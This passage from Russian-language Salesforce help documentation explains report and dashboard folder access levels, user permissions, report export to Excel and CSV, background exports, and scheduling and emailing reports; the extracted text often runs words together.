3. Найдитенужнуюроль, нажмитекнопку«Общийдоступ»ивыберитеуровеньдоступа.

Чтобы выполнить поиск, введите имя.

4. Нажмите кнопку «Готово», просмотрите внесенные изменения и нажмите кнопку «Закрыть».
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Уровни доступа к папкам отчетов и панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Каждомупользователю, группеилиролиможетбытьпредоставленсобственныйуровень
доступа к папке отчетов и панелей мониторинга. Гости могут просматривать данные;
редакторы могут определять данные, доступные для отображения; менеджеры могут
контролировать уровни доступа.

Совет: Чтобы скрыть отчет или панель мониторинга, воспользуйтесь личной
папкой, которая недоступна другим пользователям. Система поддерживает две
стандартные папки «Мои личные настраиваемые отчеты» и «Мои личные панели
мониторинга». При необходимости создайте дополнительные папки. Созданная
папка доступна только текущему пользователю и администраторам; при
необходимости доступ к папке может быть предоставлен другим пользователям.

1. Уровень доступа «Гость» к папкам отчетов и панелей мониторинга
Уровень доступа «Гость» позволяет просматривать данныеотчета илипанелимониторинга, а такжеизменять данные
путем их клонирования в новый отчет или панель мониторинга. Данный уровень доступа к общедоступным папкам
отчетов и панелеймониторинга предоставляется всем пользователям. (Доступ некоторых пользователейможет быть
расширен благодаря предоставленным полномочиям администратора.)

2. Уровень доступа «Редактор» к папкам отчетов и панелей мониторинга
Уровень доступа «Редактор» позволяет просматривать и изменять отчеты и панели мониторинга соответствующей
папки, а также перемещать их между другими папками, доступными для редактирования или управления.

3. Уровень доступа «Менеджер» к папкам отчетов и панелей мониторинга
Уровень доступа «Менеджер» позволяет выполнять все действия, доступные гостям и редакторам, а также определять
уровни доступа других пользователей к папкам, изменять их свойства или удалять папки.

СМ. ТАКЖЕ:

Предоставление общего доступа к папке отчетов или панелей мониторинга

Сравнение уровней доступа к папкам отчетов и панелей мониторинга

Уровень доступа «Гость» к папкам отчетов и панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Уровень доступа «Гость» позволяет просматривать данные отчета или панели
мониторинга, а такжеизменятьданныепутемихклонированиявновыйотчетилипанель
мониторинга. Данный уровень доступа к общедоступным папкам отчетов и панелей
мониторинга предоставляется всем пользователям. (Доступ некоторых пользователей
может быть расширен благодаря предоставленным полномочиям администратора.)

Например, торговыйпредставительМаксимжелает ежедневнопроверятьсвоюпозицию
втаблицелидеровпродаж, отображающейсянапанелимониторинга «Продаживедущих
специалистов». Обновление панели мониторинга, необходимое для отображения
последнихданных, требуетналичиядоступа дляпросмотра данныхвосновныхотчетах.
Редактирование отчетов или панелей мониторинга не требуется. Таким образом,
пользователю может быть предоставлен уровень доступа «Гость» к папке, содержащей панель мониторинга «Продажи
ведущих специалистов».
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Уровень доступа «Редактор» к папкам отчетов и панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Уровень доступа «Редактор» позволяет просматривать и изменять отчеты и панели
мониторинга соответствующей папки, а также перемещать их между другими папками,
доступными для редактирования или управления.

Например, менеджер по продажам Светлана хочет предоставить каждой из трех
региональных рабочих групп отдельную панель мониторинга продаж. Ей потребуется
уровеньдоступа «Редактор», позволяющийперемещатьосновныеотчетымеждупапками
иизменятьотчетысцельюотображениясоответствующихданных, кпапке, содержащей
панель мониторинга «Продажи ведущих специалистов». Кроме того, ей потребуется
полномочие «Создание и настройка панелей мониторинга».

Прим.: Уровень доступа «Редактор» не может быть предоставлен к стандартным
папкамотчетов. Поумолчаниювсемпользователямданныхпапокпредоставляется
уровень доступа «Гость».

Уровень доступа «Менеджер» к папкам отчетов и панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Уровень доступа «Менеджер» позволяет выполнять все действия, доступные гостям и
редакторам, а такжеопределять уровнидоступадругихпользователейкпапкам, изменять
их свойства или удалять папки.

Например, администраторпродажМихаил, управляющийбольшимколичествомотчетов,
неможетобрабатывать каждыйотчетпоотдельности. Онсоздаетпапкуотчетов «Отчеты
по регионам». Уровень доступа «Менеджер» предоставляется ему, как создателю папки,
поумолчанию. Менеджерпредоставляетуровеньдоступа «Гость» общедоступнойгруппе
«Торговые представители» и назначает уровень доступа «Менеджер» менеджеру по
продажам Светлане.

Прим.: Уровень доступа «Менеджер» не может быть предоставлен к стандартным
папкамотчетов. Поумолчаниювсемпользователямданныхпапокпредоставляется
уровень доступа «Гость».

Сравнение уровней доступа к папкам отчетов и панелей мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данная диаграмма позволяет просмотреть действия, доступные гостям, редакторам и
менеджерам над папками отчетов и панелей мониторинга.

МенеджерРедакторГость

Просмотр отчетов или панелей мониторинга в
папке

Запуск отчетов в папке

Обновление панелей мониторинга в папке

Изменение/перемещение/удаление своих
отчетов или панелей мониторинга в папке

Просмотр уровней доступа, предоставленных
пользователям к папке
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МенеджерРедакторГость

Изменение/перемещение/удаление отчетов или панелей
мониторинга, созданных в папке другим пользователем

Прим.: Чтобы изменить эти панели мониторинга, вам
потребуется полномочие «Просмотр всех данных».

Изменение имени папки

Изменение параметров общего доступа к папке

Полномочия пользователя для предоставления общего доступа к отчетам и панелям мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Каждый уровень доступа к папке отчетов или панелей мониторинга отличается
определенным набором полномочий. Чтобы уточнить уровень доступа пользователей
к панелям мониторинга и отчетам, администратор организации может назначить или
удалить как минимум одно полномочие.

При включении общего доступа к папке аналитики всем пользователям, кроме
администраторов, предоставляется уровень доступа «Гость» к папкамотчетовипанелей
мониторинга. Чтобы предоставить пользователям дополнительные привилегии,
назначьте уровень доступа «Редактор» или «Менеджер» и полномочия, необходимые
для использования отчетов и панелей мониторинга.

ОписаниеПолномочие пользователя

Создание, редактирование и удаление панелей
мониторинга в папке «Мои личные панели

Создание и настройка панелей
мониторинга

мониторинга». Создание панелей мониторинга
и при наличии соответствующих полномочий
общего доступа их сохранение в любой
общедоступной папке.

Создание, редактирование и удаление отчетов в
папке «Мои личные настраиваемые отчеты».

Создание и настройка отчетов

Создание отчетов и при наличии
соответствующих полномочий общего доступа
их сохранение в любой общедоступной папке.

Создание папок панелей мониторинга и при
наличии соответствующих полномочий общего
доступа управление ими.

Создание папок панелей
мониторинга

Создание папок отчетов и при наличии
соответствующих полномочий общего доступа
управление ими.

Создание папок отчетов

Редактирование, перемещение, сохранение и
удаление собственных панелей мониторинга в
общедоступных папках.

Редактирование моих панелей
мониторинга
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Редактирование, перемещение, сохранение и удаление собственных
отчетов в общедоступных папках.

Редактирование моих отчетов

Создание, редактированиеи удалениепанелеймониторинга1, а также
управление параметрами общего доступа во всех общедоступных

Управление панелями мониторинга в
общедоступных папках

папках панелей мониторинга, кроме личных папок других
пользователей. Данное полномочие позволяет пользователям
редактировать панели мониторинга и предоставлять к ним доступ во
всехпапках, включаяскрытыепапки. Нижеперечисленыполномочия,
которые также предоставляются пользователям.

• Создание и настройка панелей мониторинга

• Создание папок панелей мониторинга

• Редактирование моих панелей мониторинга

• Просмотр панелей мониторинга в общедоступных папках

(1Редактированиединамическойпанелимониторингадоступнотолько
при наличии полномочий «Управление динамическими панелями
мониторинга» и «Просмотр панелей мониторинга моей рабочей
группы».)

Создание, редактирование и удаление отчетов, а также управление
параметрамиобщегодоступа вовсехобщедоступныхпапкахотчетов,

Управление отчетами в общедоступных папках

кроме личных папок других пользователей. Данное полномочие
позволяетпользователямредактироватьотчетыипредоставлятькним
доступ во всех папках, включая скрытые папки. Ниже перечислены
полномочия, которые также предоставляются пользователям.

• Создание и настройка отчетов

• Создание папок отчетов

• Редактирование моих отчетов

• Просмотр отчетов в общедоступных папках

Просмотр панелей мониторинга в общедоступных папках панелей
мониторинга, кроме личных папок других пользователей.

Просмотр панелей мониторинга в
общедоступных папках

Просмотр отчетов в общедоступных папках отчетов, кроме личных
папок других пользователей.

Просмотр отчетов в общедоступных папках

СМ. ТАКЖЕ:

Предоставление общего доступа к папке отчетов или панелей мониторинга

Сравнение уровней доступа к папкам отчетов и панелей мониторинга

Доставка отчета
Чтобы предоставить пользователям доступ к данным отчета, воспользуйтесь URL-адресом отчета, опубликуйте отчет в
ленты Chatter или экспортируйте данные в другое приложение (например, Excel). При необходимости отчеты могут
выполняться по расписанию и предоставлять пользователям самые последние данные.
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Администраторыилипользователисполномочиями «Управлениеобщедоступнымиотчетами» и «Созданиеинастройка
отчетов» могут создавать настраиваемые отчеты, доступные всем пользователям для просмотра. Кроме того, они могут
систематизировать отчеты путем создания папок настраиваемых отчетов и настройки групп соответствующих
пользователей.

Чтобы предоставить общий доступ к отчету, запустите отчет и нажмите кнопку «Сохранить как». Введите имя отчета
и выберите общедоступную папку отчетов.

1. Экспорт данных отчета
Данныеотчетамогутбытьэкспортированывудобныйформат, поддерживающийповторноеиспользование (например,
Microsoft Excel).

2. Выполнение отчетов в фоновом режиме
Благодаря выполнению крупных отчетов в фоновом режиме, пользователи могут продолжать работу с системой
Salesforce, недожидаясьотображениярезультатов. Данныйалгоритмпозволяет успешновыполнятьобъемныеотчеты,
которые не могут быть выполнены в обычном режиме ввиду большого количества результатов.

3. Планирование отчетов
Отчетымогутвыполнятьсянаежедневной, еженедельнойилиежемесячнойоснове, аихрезультатымогутавтоматически
отправляться соответствующим пользователям.

4. Подписка для получения уведомлений об отчетах
Подпишитесьнаотчет дляполучениярегулярныхуведомленийпривыполненииуказанныхусловийопределенными
показателями. Укажите условия, которые должны инициировать отправку уведомлений, и выберите способ их
получения: уведомления Salesforce1, Chatter или эл. почта.

СМ. ТАКЖЕ:

Экспорт отчета

Планирование обновления отчета

Экспорт данных отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта отчетов:
• «Экспорт отчетов»

Данные отчета могут быть экспортированы в удобныйформат, поддерживающий
повторное использование (например, Microsoft Excel).

Прим.: Из соображений безопасности, экспорт данных из организации Salesforce
можетбытьвыполнентолькопослепроверкиподлинностипользователя CAPTCHA.
Эта элементарнаяпроверканаоснове ввода текстапозволяетпредотвратитьдоступ
вредоносных программ к данным организации. Чтобы пройти проверку,
пользователи должны правильно ввести два слова в специальное текстовое поле
области наложения. Обратите внимание, что слова должны быть разделены
пробелом.

1. Экспорт отчета
Вкладка «Отчеты» позволяет экспортировать данные выбранного отчета в Excel или
CSV-файл.

2. Региональные параметры для экспорта данных отчета
Ниже перечислены некоторые рекомендации по использованию CSV-файлов и
работе с приложением Excel во время экспорта данных отчета.
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Экспорт отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта отчетов:
• «Экспорт отчетов»

Вкладка «Отчеты» позволяет экспортировать данные выбранного отчета в Excel или
CSV-файл.

1. Нажмитекнопку  > «Экспорт»напротиввыбранногоотчетанавкладке «Отчеты».

• Есливпараметрахобозревателя Internet Explorer установленфлажок «Несохранять
зашифрованныестраницынадиск», тоотчетбудетнедоступендляинтерактивного
просмотра в приложении Excel. В этом случае рекомендуем сохранить
экспортированныйотчет на компьютер, а затем открыть его в приложении Excel.
Чтобыизменитьданныйпараметрвобозревателе Internet Explorer, снимитефлажок
«Не сохранять зашифрованные страницына диск» в диалоговомокне «Свойства
обозревателя».

• Составныеотчетынедоступныдляэкспорта, ноподдерживаютверсиюдляпечати.

2. Выберитенужноезначениевраскрывающемсясписке «Кодировка файла экспорта».

3. Выберитеформат Excel или CSV враскрывающемсясписке «Формат файла экспорта».

4. Нажмите кнопку «Экспорт».

5. Сохраните файл в диалоговом окне обозревателя.

Один экспортированный отчет может содержать не более 256 столбцов и 65 536 строк данных.

СМ. ТАКЖЕ:

Выполнение отчетов в фоновом режиме

Региональные параметры для экспорта данных отчета

Печать отчета

Региональные параметры для экспорта данных отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Ниже перечислены некоторые рекомендации по использованию CSV-файлов и работе
с приложением Excel во время экспорта данных отчета.

Экспорт в CSV-файлы

При экспорте отчетов в CSV-формат разделитель полей, добавляемый в
экспортированныйфайл, определяется региональными настройками на странице
сведенийопользователе. Например, прииспользованиирегиона «Английский (США)»
десятичным разделителем служит точка, тогда как при использовании региона
«Французский (Франция)» десятичным разделителем является запятая. Чтобы
переопределить стандартный разделитель для используемого региона, выберите значение «Формат с разделяющей
запятой (на иностранном языке) - CSV» в раскрывающемся списке «Формат файла экспорта».
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Обратите внимание, что приложение Excel не отображает разделитель полей в CSV-формате. Чтобы экспортировать
отчеты в Excel посредством CSV-формата, рекомендуем использовать в системе Salesforce те же региональные настройки,
что и в региональных стандартах Windows.

СМ. ТАКЖЕ:

Экспорт отчета

Печать отчета

Выполнение отчетов в фоновом режиме

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта отчетов в
фоновом режиме:
• «Экспорт отчета в

фоновом режиме»

Для просмотра отчетов,
экспортированных в
фоновом режиме другими
пользователями:
• «Экспорт отчета в

фоновом режиме»

И

«Просмотр всех данных»

Для управления отчетами,
экспортированными в
фоновом режиме другими
пользователями:
• «Экспорт отчета в

фоновом режиме»

И

«Изменение всех
данных»

Благодаря выполнению крупных отчетов в фоновом режиме, пользователи могут
продолжатьработу с системойSalesforce, недожидаясьотображениярезультатов. Данный
алгоритм позволяет успешно выполнять объемные отчеты, которые не могут быть
выполнены в обычном режиме ввиду большого количества результатов.

Чтобыактивироватьданнуюфункциюворганизации, обратитесь в компанию Salesforce.

Отчеты, экспортированныевфоновомрежиме, выполняютсяпоследовательно — один
за другим. Таким образом, последний отчет, экспортированный в фоновом режиме,
выполняется после завершения всех отчетов, экспортированных в фоновом режиме
ранее.

Система позволяет экспортировать в фоновом режиме неограниченное количество
отчетов.

1. Экспорт отчета для выполнения в фоновом режиме
Чтобы настроить отчет для выполнения в фоновом режиме, рекомендуем
воспользоваться особым способом экспорта.

2. Просмотр отчетов и управление отчетами в фоновом режиме
Просмотри управление отчетом, настроеннымдля выполнения вфоновомрежиме,
выполняются посредством списка «Экспорты отчетов в фоновом режиме».

СМ. ТАКЖЕ:

Страница запуска отчета

Создание настраиваемого отчета в режиме доступности

Создание отчета

Настройка отчетов

Параметры страницы запуска отчета

Экспорт отчета

Запуск отчета
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Экспорт отчета для выполнения в фоновом режиме

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для экспорта отчетов в
фоновом режиме:
• «Экспорт отчета в

фоновом режиме»

Для просмотра отчетов,
экспортированных в
фоновом режиме другими
пользователями:
• «Экспорт отчета в

фоновом режиме»

И

«Просмотр всех данных»

Для управления отчетами,
экспортированными в
фоновом режиме другими
пользователями:
• «Экспорт отчета в

фоновом режиме»

И

«Изменение всех
данных»

Чтобынастроитьотчетдлявыполнениявфоновомрежиме, рекомендуемвоспользоваться
особым способом экспорта.

1. Создайте или запустите отчет.

2. Нажмитераскрывающуюсякнопку«Экспортироватьсведения»ивыберитепункт
«Запуск экспорта вфоновом режиме».

Совет: При запуске готового отчета данная кнопка позволяет избежать
ожидания отображения результатов отчета.

3. Выберите кодировку и формат файла экспорта.

4. Выберите способ сохранения параметров отчета.

• Чтобы сохранить любые изменения параметров, внесенные перед экспортом
отчета, установите переключатель «Сохранить исправления». Выбор данного
параметра перезаписывает параметры исходного отчета.

• Чтобы создать отчет перед экспортом, установите переключатель «Сохранить
исправления в виде копии». При выборе данного параметра введите имя и
описание отчета и выберите папку отчетов для сохранения параметров отчета.

Прим.: Сохранению подлежат только параметры. Чтобы просмотреть
результаты отчета, рекомендуем просмотреть сведения об отчете в списке
«Экспорты отчетов в фоновом режиме».

5. Нажмите кнопку «Начать экспорт вфоновом режиме».

Сообщение эл. почты, содержащее ссылку на сведения об отчете, отправляется
пользователю после выполнения отчета. При необходимости загрузите результаты
отчета из списка «Экспорты отчетов в фоновом режиме». Система позволяет загружать
только данные, доступные для просмотра.

Прим.: Если региональные настройки не поддерживают использование запятых,
воспользуйтесь символом табуляции или любым другим разделителем.

Уведомление о неудачномфоновом экспорте отчета также отправляется пользователю
по эл. почте. Отчеты, экспортированные в фоновом режиме, не могут быть выполнены
по нескольким причинам. Например, между временем экспорта отчета и началом
процесса экспорта поля могут быть удалены из отчета, отчет может быть удален или
статусу типа настраиваемого отчета, использованного для создания отчета, задано
значение «В разработке».

Просмотр отчетов и управление отчетами в фоновом режиме

Просмотр и управление отчетом, настроенным для выполнения в фоновом режиме, выполняются посредством списка
«Экспорты отчетов в фоновом режиме».

1. Введите строку «Экспорты отчетов в фоновом режиме» в поле «Быстрый поиск» в меню «Настройка» и выберите
пункт «Экспорты отчетов вфоновом режиме».
Данное действие открывает список «Экспорты отчетов в фоновом режиме».

2. Чтобыпросмотретьсведенияоботчете, экспортированномвфоновомрежиме (например, имя, статусирасположение),
щелкните имя нужного отчета в столбце «Имя задания».
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Прим.: Из соображенийбезопасности, экспорт данныхиз организации Salesforceможет быть выполнен только
послепроверкиподлинностипользователя CAPTCHA. Этаэлементарнаяпроверканаосновевводатекстапозволяет
предотвратить доступ вредоносных программ к данным организации. Чтобы пройти проверку, пользователи
должныправильно ввести два слова в специальное текстовое поле областиналожения. Обратите внимание, что
слова должны быть разделены пробелом.

3. Чтобыотменитьотложенныйэкспорт, нажмитекнопку«Отмена». Чтобыудалитьотчетиз списка «Экспортыотчетов
в фоновом режиме», щелкните ссылку «Удал.» напротив имени нужного отчета.

Выполненный отчет, экспортированный в фоновом режиме, может быть просмотрен в списке «Экспорты отчетов в
фоновом режиме» в течение 48 часов. По истечении 48 часов отчет автоматически удаляется.

Важное замечание: Отчеты, удаленные из списка «Экспорты отчетов в фоновом режиме», удаляются без
возможности восстановления и не перемещаются в корзину.

4. Чтобы просмотреть отчеты, экспортированные в фоновом режиме за время просмотра списка «Экспорты отчетов в
фоновом режиме», нажмите кнопку «Обновить список».

Планирование отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для планирования отчетов:
• «Планированиеотчетов»

Отчеты могут выполняться на ежедневной, еженедельной или ежемесячной основе, а
их результаты могут автоматически отправляться соответствующим пользователям.

1. Планирование обновления отчета
Отчет может выполняться ежедневно, еженедельно или ежемесячно. HTML-версию
отчета можно отправить по электронной почте пользователям в организации
пользователя.

2. Просмотр расписания отчета
Чтобы просмотреть расписание отчета, воспользуйтесь страницей «Запланировать
отчет» или вкладкой «Отчеты». Чтобы просмотреть все запланированные отчеты
организации, воспользуйтесь меню «Настройка».

3. Управление расписанием отчета
Чтобы создать, изменить, просмотреть или удалить запланированный отчет,
воспользуйтесь страницей «Запланировать отчет».

4. Изменение расписания отчета
Чтобыизменитьзапланированныйотчет, воспользуйтесьстраницей «Запланировать
отчет».

5. Удаление расписания отчета
Чтобы отменить запланированный запуск, выберите нужный запланированный отчет и удалите его расписание.
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6. Советы по планированию отчетов
Ниже перечислены некоторые советы по планированию отчетов.

СМ. ТАКЖЕ:

Планирование обновления отчета

Изменение расписания отчета

Удаление расписания отчета

Управление расписанием отчета

Советы по планированию отчетов

Просмотр расписания отчета

Подписка для получения уведомлений об отчетах

Планирование обновления отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для планирования отчетов:
• «Планированиеотчетов»

Отчетможетвыполнятьсяежедневно, еженедельноилиежемесячно. HTML-версиюотчета
можно отправить по электронной почте пользователям в организации пользователя.

1. Щелкните по имени отчета на вкладке «Отчеты».

2. В раскрывающемся меню «Запустить отчет» выберите пункт «Запланировать
будущие запуски...».

При создании отчета планирование доступно только после сохранения отчета в
папке. Если общий доступ к папке отчета предоставляется группе, то можно
выполнить планирование только для всей группы. Чтобы запланировать отчет для
отдельного участника группы, следует предоставить доступ к папке для этого
участника.

3. Введитеимятекущегопользователя, имеющегодоступкпапке сотчетом, настранице
«Запланировать отчет».

Уровень доступа текущего пользователя определяет данные, отображаемые другим
пользователям, включая пользователей портала, при получении результатов
выполнения запланированного отчета. Это значит, не все пользователи смогут
увидеть каждоеполе, а текущийпользовательсможет видетьполя, которыене увидят
другие. Когда отчет отправлен, он определяет, какие поля увидит текущий
пользователь и не смогут увидеть другие. Другой текущий пользователь может быть выбран только при наличии
полномочия «Просмотр всех данных».

Прим.: Деактивация текущего пользователя препятствует выполнению отчета. Система Salesforce посылает
уведомление по электронной почте о необходимости активировать пользователя, удалить запланированный
отчетилиизменитьтекущегопользователянаактивного. Система Salesforce отправляетуведомлениепользователям
с полномочиями «Управление пользователями», «Изменение всех данных» и «Управление расчетами». При
отсутствии пользователей, имеющих все эти полномочия, система Salesforce отправляет уведомление
пользователям с полномочиями «Управление пользователями» и «Изменение всех данных».

4. Настройте отправку эл. писем.
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ЗначениеПереключатель

Отправкаотчетана собственныйадрес эл. почты, указанныйвпрофиле
пользователя.

Мне

Отправка отчета дополнительным пользователям.Мне и/или другим пользователям

Отчеты могут быть отправлены только на адреса эл. почты, указанные в записях пользователей Salesforce. Отчеты,
полученныепользователямипорталапоэл. почте, отображаютданные, доступныетекущемупользователю, выбранному
в расписании отчета. При наличии конфиденциальной информации пользователь портала должен быть выбран в
качестве текущего пользователя для планируемого отчета.

Прим.: Пользователи портала получают электронные уведомления об обновлении отчетов и панелей
мониторингатольковтомслучае, есливключенпараметр «Разрешить отправку отчетов и панелей мониторинга
пользователям портала».

5. Выберите частоту, продолжительность и время выполнения отчета.

• Установитепереключатель «Ежедневно», «Еженедельно» или «Ежемесячно» вполе «Частота», а затемуточните
критерии частоты.

• Чтобы задать продолжительность расписания, выберите нужные даты в полях «Начать» и «Завершить». Чтобы
выбрать текущую дату, щелкните расположенную рядом ссылку.

• Чтобы указать нужное время начала, щелкните по ссылке «Найти доступные варианты» напротив поля
«Предпочтительное время начала».

Предпочтительное время начала доступно только в том случае, если оно не было выбрано другими пользователями.

6. Нажмите кнопку «Сохранить расписание отчета». При необходимости установите следующие переключатели.

ЗначениеПереключатель

Сохранение расписания отчета и изменений, внесенных в
отчет.

Сохранить изменения отчета к данному
расписанию

Сохранениерасписанияотчета. Изменения, внесенныевотчет,
отменяются.

Отменить изменения отчета

Имя отчета, доступное в сообщении эл. почты, позволяет получателям отчета выполнять вход в систему Salesforce и
просматривать отчет напрямую.

СМ. ТАКЖЕ:

Управление расписанием отчета

Запуск отчета
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Просмотр расписания отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для планирования отчетов:
• «Планированиеотчетов»

Для просмотра всех
запланированных отчетов
организации:
• «Просмотр настройки и

конфигурации»

Чтобы просмотреть расписание отчета, воспользуйтесь страницей «Запланировать
отчет» или вкладкой «Отчеты». Чтобы просмотреть все запланированные отчеты
организации, воспользуйтесь меню «Настройка».

• Чтобы просмотреть расписание отчета на вкладке «Отчеты», наведите указатель

мыши на значок в столбце планирования .

Данный столбец отображает частоту и дату следующего выполнения.

Данный значок и сведения доступны только пользователям с полномочием
«Планирование отчетов».

• Чтобы просмотреть расписание выполнения отчета на странице «Запланировать
отчет», выполните указанные ниже действия.

1. Щелкните имя нужного запланированного отчета на вкладке «Отчеты».

2. Враскрывающемсяменю «Запуститьотчет» выберите пункт «Запланировать
будущие запуски».

• Чтобы просмотреть все запланированные отчеты организации, введите строку
«Запланированные задания» в поле «Быстрый поиск» в меню «Настройка», затем
выберите «Запланированные задания».

Данные сведения доступны только пользователям с полномочием «Просмотр
настройки и конфигурации».

СМ. ТАКЖЕ:

Управление расписанием отчета
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Управление расписанием отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для планирования отчетов:
• «Планированиеотчетов»

Для удаления
запланированного отчета:
• «Изменение всех

данных»

Чтобы создать, изменить, просмотреть или удалить запланированный отчет,
воспользуйтесь страницей «Запланировать отчет».

Ниже перечислены действия, доступные на странице «Запланировать отчет».

• Запланируйте выполнение нового или текущего отчета и отправку его результатов
по эл. почте другим пользователям.

• Измените расписание для запланированного отчета.

• Просмотрите запланированные задания для всех отчетов организации или только
для выбранного отчета.

• Удалите выбранный запланированный отчет.

Дополнительные запланированные отчеты могут быть приобретены отдельно.

СМ. ТАКЖЕ:

Планирование обновления отчета

Изменение расписания отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для планирования отчетов:
• «Планированиеотчетов»

Чтобы изменить запланированный отчет, воспользуйтесь страницей «Запланировать
отчет».

1. Щелкните имя запланированного отчета на вкладке «Отчеты».

2. В раскрывающемся меню «Запустить отчет» выберите пункт «Запланировать
будущие запуски...».

3. Внесите необходимые изменения на странице «Запланировать отчет».

4. Нажмите кнопку «Сохранить расписание отчета».

СМ. ТАКЖЕ:

Управление расписанием отчета
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Удаление расписания отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для планирования отчетов:
• «Планированиеотчетов»

Для удаления
запланированного отчета:
• «Изменение всех

данных»

Чтобы отменить запланированный запуск, выберите нужный запланированный отчет
и удалите его расписание.

1. Щелкните имя запланированного отчета на вкладке «Отчеты».

2. В раскрывающемся меню «Запустить отчет» выберите пункт «Запланировать
будущие запуски...».

3. Нажмите кнопку «Удалить расписание отчета».

Расписание выполнения отчета отменяется, но не перемещается в корзину.

СМ. ТАКЖЕ:

Управление расписанием отчета

Советы по планированию отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены некоторые советы по планированию отчетов.

Планирование запусков отчета

•
Чтобы просмотреть расписание отчета, наведите указатель мыши на значок в
столбце планирования ( ) на вкладке «Отчеты». Обратите внимание, что данный
значок и сведения доступны только пользователям с полномочием «Планирование
отчетов».

• Планирование недоступно для составных отчетов.

• Организация может использовать не более 200 запланированных отчетов.
Ежедневные ограничения определяются используемой версией системы.
Дополнительные запланированные отчеты могут быть приобретены отдельно.

• Запланированныеотчетывыполняются вчасовомпоясепользователя, запланировавшегоих выполнение. Например,
если поле «Часовой пояс» в записи пользователя содержит стандартное тихоокеанское время, а отчет должен
выполняться каждый день в 14:00, то отчет будет выполняться ежедневно с 14:00 до 14:29 по стандартному
тихоокеанскому времени.

• Если запланированное обновление просматривается и сохраняется в другом часовом поясе, то временной интервал
может быть изменен.

• Отчет, выполнение которого запланировано на определенный день каждого месяца, запускается только в те месяцы,
которые содержат этот день. Например, отчет, выполнение которого запланировано на 31 число каждого месяца,
запускается только в те месяцы, которые содержат 31 день. Чтобы запланировать выполнение отчета на последний
день каждого месяца, выберите значение «Последний» в раскрывающемся списке «числа каждого месяца».
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• Отчет запускается в течение 30 минут после наступления времени, выбранного в раскрывающемся списке
«Предпочтительное время начала». Например, если выбрать в качестве предпочтительного времени начала 14:00,
тоотчетможет запускаться влюбоевремямежду 14:00 и 14:29, в зависимостиот количествадругихотчетов, выполнение
которых запланировано на данное время.

• Планирование отчетов не отслеживается в контрольном журнале.

Отправка запланированныхотчетовпо эл. почте

• По электронной почте отчеты передаются без диаграмм. Чтобы отправить диаграмму отчета по эл. почте, создайте
панель мониторинга и запланируйте ее обновление.

• В отчетах содержатся только первые 2000 записей (так же как и в браузере).

• Ограничения для Outlook 2007: Отчеты, отправленныепо эл. почте и содержащие таблицышириноюболее 56 смили
63 столбцов, могут отображаться некорректно.

• Максимальный размер отчетов, отправленных по эл. почте, составляет 10 Мб. Чтобы сократить объем данных,
используемых в отчете, выполните указанные ниже действия.

– Выполните фильтрацию собственных, а не всех записей.

– Выберите нужный диапазон дат.

– Удалите лишние столбцы из отчета.

– Скройте сведения об отчете.

СМ. ТАКЖЕ:

Планирование обновления панели мониторинга

Управление расписанием отчета

Подписка для получения уведомлений об отчетах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для подписки на отчеты:
• «Запуск отчетов»

Для включения или
выключения подписок на
уведомления об отчетах:
• «Настройка

приложения»

